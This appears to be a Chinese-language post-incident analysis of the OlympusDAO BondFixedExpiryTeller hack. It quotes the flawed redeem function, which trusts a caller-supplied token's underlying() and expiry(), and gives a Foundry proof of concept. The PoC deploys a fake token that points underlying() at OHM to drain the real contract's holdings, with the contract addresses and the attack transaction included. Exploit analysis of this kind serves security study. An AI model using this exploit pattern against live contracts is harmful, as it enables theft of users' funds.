Contents

BondFixedExpiryTeller 攻击案例分析

Contents

OlympusDao BondFixedExpiryTeller 攻击案例分析

漏洞分析

攻击发生在以太坊链https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf

存在漏洞的合约地址为: 0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156

在其中的BondFixedExpiryTeller.sol存在redeem函数, 代码如下:

1
2
3
4
5
6
    function redeem(ERC20BondToken token_, uint256 amount_) external override nonReentrant {
        if (uint48(block.timestamp) < token_.expiry())
            revert Teller_TokenNotMatured(token_.expiry());
        token_.burn(msg.sender, amount_);
        token_.underlying().transfer(msg.sender, amount_);
    }

这个函数的含义是"存在tokenA, 将tokenA毁掉一定数量, 并将相同数量的tokenB发送给msg.sender, 其中tokenB由tokenA的underlying()函数来指定"

其中 token_.underlying().transfer(msg.sender, amount_);就是直接调用的tokenX的transfer()函数将其转给msg.sender, 也就是说该合约中如果存在任何IERC20(或类似的有转账函数的币)都可以通过这句代码转给msg.sender.

合约中有哪些币呢? 在区块链浏览器上可以看到有很多OHM被转到了该合约, 查看OHM的代码

1
2
3
4
5
contract OlympusERC20Token is ERC20Permit, IOHM, OlympusAccessControlled {
}

interface IOHM is IERC20 {
}

POC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.10;

import "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);

    function decimals() external view returns (uint8);
}

interface IBondFixedExpiryTeller {
    function redeem(address token_, uint256 amount_) external;
}

IERC20 constant OHM = IERC20(0x64aa3364F17a4D01c6f1751Fd97C2BD3D7e7f1D5);

//buggy:
IBondFixedExpiryTeller constant BondFixedExpiryTeller = IBondFixedExpiryTeller(
    0x007FE7c498A2Cf30971ad8f2cbC36bd14Ac51156
);

contract FakeToken {
    function underlying() external pure returns (address) {
    		//指向 OHM
    		//这样redeem()函数中的
    		// token_.underlying().transfer(msg.sender, amount_);
    		// 就变成了
    		// OHM.transfer(msg.sender, amount_);
        return address(OHM);
    }

    // 绕过require
    function expiry() external pure returns (uint48 _expiry) {
        return 1;
    }

    function burn(address, uint256) external {}
}

//attack TX: https://etherscan.io/tx/0x3ed75df83d907412af874b7998d911fdf990704da87c2b1a8cf95ca5d21504cf
contract Hack is Test {
    function setUp() public {
        vm.createSelectFork("theNet", 15794360); //ETH
    }

    function testPoc() public {
        FakeToken ft = new FakeToken();
        BondFixedExpiryTeller.redeem(address(ft), 1000 * 10 ** OHM.decimals());
        emit log_named_decimal_uint(
            "OHM balance:",
            OHM.balanceOf(address(this)),
            OHM.decimals()
        );
    }
}